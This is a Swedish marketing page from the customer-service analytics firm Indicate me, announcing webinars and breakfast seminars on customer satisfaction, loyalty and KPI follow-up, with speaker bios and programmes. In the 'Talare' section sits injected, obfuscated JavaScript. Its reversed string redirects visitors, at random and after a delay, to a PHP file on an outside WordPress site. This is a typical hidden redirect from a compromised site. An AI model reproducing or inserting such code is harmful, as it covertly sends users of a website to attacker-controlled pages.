Så skapar du supernöjda och lojala kunder

Kundservice är den enhet som har direkt kontakt med bolagens kunder. Här finns det en stor potential att fånga upp information kring vad dina kunder är mer eller mindre nöjda med, och sedan arbeta med datan för att ta välgrundade beslut som leder till bättre kundupplevelser. Informationen kan vara en riktig guldgruva för att bygga kundrelationer, bara man tar hand om den på rätt sätt.
 
Vi är många som är överens om att nöjda kunder är grunden för en lyckad verksamhet. Men vad är egentligen kundlojalitet och kundnöjdhet? Vad är skillnaden på dessa två begrepp? Och vilka faktorer är det som har främst påverkan?
 
Torsdagen den 4 februari håller vi tillsammans med Kontakta ett webinar med fokus på just kundnöjdhet- och lojalitet. Lina Bjelkmar, VD, Indicate me kommer att prata mer om dessa två begrepp och hur man kan arbeta med de i vardagen. 
 
Hon berättar också om varför Indicate me får 83 i sina NPS mätningar av sina kunder och delar med sig av handfasta tips för att öka kundfokuset ytterligare i din organisation.
 
Praktiskinformation 

Hur du följer upp din kundservice på bästa sätt för att uppnå dina mål!

En nyckelfaktor för att lyckas med bra kundservice är att arbeta med uppföljning. Eftersom kundservice arbetar med att lösa problem som uppstått någon annanstans i företaget är kontinuerlig uppföljning absolut nödvändigt.
Om du arbetar kontinuerligt med uppföljning ger det dig insikter i hur din kundservice presterar, vad dina kunder tycker och vilka processer som behöver ses över.
 
I kundservice kan man mäta i princip allt. Men vill man verkligen mäta allt för mätandes skull? Och hur ska vi göra för att få till en så bra och effektiv uppföljning som möjligt?
 
Lina Bjelkmar, VD på Indicate me, kommer att guida er igenom djungeln om hur du ska göra för att få till en bra uppföljning. Hon bjuder på handfasta tips och verktyg om hur du kan starta och tänka kring uppföljning.

Med oss är också Ash Barawy, Head Of Billing & Customer Service från Bonnier News Local och Di-gruppen. Hon kommer att berätta hur de arbetar med uppföljning för att få ihop sin breda verksamhet.
 
Praktiskinformation 

Kundservice: Rätt processer och systemstöd leder till bättre kundbemötande

Anmäl dig till vårt frukostseminarium som vi anordnar med nätverket Kontakta. Frukostseminariet riktar sig till dig som vill få större kunskap kring kundnöjdhet, hur du får rätt insikter för att genomföra förbättringar och hur du bibehåller ett gott kundbemötande i kundservice.

På plats kommer Terje Dahl, Kundservice- och Försäljningschef på Nordic Leisure Travel Group/Ving, att dela med sig av hur de hanterade moderbolagets konkurs i kundservice. Du kommer få information om hur kundservicen påverkades och tips om kundbemötande.

Lena Buvlér, Affärschef Försäljning & Service, på ICA Banken kommer att berätta mer om hur de arbetar för att uppnå nöjdare kunder och medarbetare.

Lina Bjelkmar, VD Indicate me, ger dig svar på frågor så som:

  • Hur får du rätt insikter i kundservice för att genomföra förbättringar
  • Hur vet du vad som ger störst effekt om du genomför förändringar?

För vem
Seminariet riktar sig till dig som arbetar i linjebefattning inom kundservice, t.ex. kundservicechef, teamledare eller operativ chef.

Program
08:00 | Registrering och frukost
08:30 | Introduktion av Indicate me
08:50 | Ving: Så påverkade moderbolagets konkurs vår kundservice
09:10 | ICA Banken: Så jobbar vi för att uppnå nöjdare kunder och medarbetare

Praktiskinformation

  • Datum: 13 februari 2020
  • Tid: 08:00-09:30
  • Plats: Scandic Klara, Stockholm
  • Anmälan: Klicka här för att komma till anmälan>>

Talare

$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;”>

Lina Bjelkmar
VD, Indicate me
Lina Bjelkmar är en driven innovatör som ger inspirerade föreläsningar kring framtidens kundservice, digitala lösningar och effektiviseringar. I rollen som VD på Inidcate me har hon en stort driv för få upp kundservice på agendan, optimera kundserviceorganisationer och att kundservice ska bli en konkurrensfördel.

Lina-Bjelkmar Terje-Dahl Lena Buvler
Kundservice- & Försäljningschef, Nordic Leisure Travel Group
Terje Dahl har en gedigen expertis inom kundservice och försäljning. Han strävar alltid efter att erbjuda Vings kunder den bästa kundservicen och att de ständigt ska vara lite bättre än de var igår.

 Med stor erfarenhet av kundservice och försäljning driver Lena Buvlér ICAs kundservice. Lena lägger stor vikt på service till ICAs kunder och arbetar aktivt med aktiviteter för ökad kundnöjdhet.

Framtidens Kundservice 30/1

Kundupplevelsen blir alltmer avgörande när köpbeslutet skall tas. Men hur blir man bäst på kundrelationer när förutsättningarna och kraven från kunderna förändras så snabbt?
Torsdagen den 30 januari kommer Lina Bjelkmar, VD Indicate me, att delta som talare på eventet Framtidens Kundservice. Där kommer hon att dela med sig av de senaste trenderna i kundmötet och berätta mer om hur företagens relation med kunderna förändras i takt med den snabba tekniska utvecklingen som sker. 

Vill du få djupare kunskap kring kundupplevelser och framtidens kundservice? Då är du och ditt kontaktcenter varmt välkommen att träffa andra experter på Office Managements event.

För vem
Eventet riktiar sig till dig som vill: 

  • Förstå hur din kundtjänst kan hjälpa din verksamhet till lönsamhet. 
  • Veta skillnaden på en receptionist och en kundtjänst.
  • Få ut mer av alla de inkommande kundsamtal som ni hanterar varje dag.
  • Förstå hur du får ut hela potentialen i ditt kontaktcenter.
  • Lära dig mer om vad som kännetecknar en modern framgångsrik kundservice som drar nytta av modern teknik.
  • Få kunskap och inspiration kring framtidens kundservice och ta del av de senaste trenderna.

Praktisk information
Datum: 30 Januari
Tid: 10:00 – 11:30
Plats: Eventet äger rum på Skalholtsgatan 6-8 i Kista/Stockholm. Föreläsningarna live-sänds även hos Office Management kontor i Göteborg, Helsningborg, Linköping och Malmö. Ange i anmälan vilken ort du vill delta på.
Kostnad: Kostnadsfritt
Anmälan: Klicka här för att komma till anmälan >>

Program
10.00 – 10.25: Framtidsspaning – Kundupplevelse i förändring.
Hur förändras företagens relation med kunderna i takt med teknikutvecklingen och nya tillgängliga kanaler. Lina Bjelkmar, VD Indicate me

10.25 – 10.40: Kundberättelser
Vad är erfarenheten hos några kunder som valt att investera i en förbättrad kundupplevelse? 

10.40 – 11.00: Ta din kundinteraktion till nästa nivå med Puzzel
Upptäck hur Puzzel – en molnbaserad kontaktcenterlösning – kan hjälpa dig att ta din kundinteraktion till nästa nivå. Robert Jansson, Puzzel.

11.00 – 11.30: Tid för diskussion och nätverkande

Indicate me är en av talarna på Loxysoft Forum

Tisdagen den 16 maj gästar Lina Bjelkmar – VD på Indicate me, Loxysoft Forum och berättar om effektiv uppföljning av nyckeltal inom kundservice.

Det är med glädje och stolthet vi kan presentera att Lina Bjelkmar är en av de utvalda talarna på Loxysoft Forum. Hon kommer att gästa scenen tillsammans med Johan Frodell, VD på Releasy.

I dagens IT-samhälle talas det ofta om vikten av the big data. The big data ska lära dig att förstå dina kunder, din verksamhet och att ta bra beslut. Det finns dock en risk att individerna bakom siffrorna försummas och att statistiken blir för stor för att hantera. När det kommer till kundservice ska allt loggas, dokumenteras och bli statistik. Det är inte ovanligt att det blir mycket manuell hantering och att sifforna behöver exporteras från olika system.

  • Hur vet du att du samlar in rätt data? Och vad betyder egentligen all data?
  • Hur vet du vart du ska börja för att tolka all statistik? Och vad ska du göra med statistiken?

Svaret på dessa frågor är – Indicate me.

Indicate me samlar in all data om din kundserviceverksamhet i en plattform. Med bara ett par klick får du din data presenterad i lättbegripliga diagram. Du hittar enkelt avvikelser och områden som du ska fokusera på.  All data som samlas in kopplas till ett ärende, en medarbetare och ett team, vilket gör att du kan se individerna bakom siffrorna.

Minskade bemanningskostnader
Releasy, som är Indicate me’s moderbolag, är en av Sveriges ledande aktörer inom kundservice och försäljning. Med över 30 års erfarenhet har bolaget en stark expertis och en gedigen erfarenhet inom kundserviceverksamhet. Idag har bolaget outsourcing av kundservice för 25 uppdragsgivare och ska bli 1000 agenter i år. Med många agenter blir uppföljningen och kostnadsbesparingarna allt viktigare.

– Genom uppföljning på våra viktigaste nyckeltal med en direktkoppling till våra måltal har vi lyckats hitta våra prioriterade förbättringsområden och sänka våra bemanningskostnader med över 10%, berättar Johan.

Under Loxysoft Forum kommer Johan att berätta mer om hur företaget använder sig av statistik för att ta underbyggda beslut. Lina som är expert på analys och kundservice kommer att ge dig värdefulla tips på hur du kan använda din statistik på bästa sätt.

Klicka här för mer information och anmälan >>

Indicate me erbjuder moderna digitala webbtjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.
För mer information
Lina Bjelkmar, VD, Indicate Me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se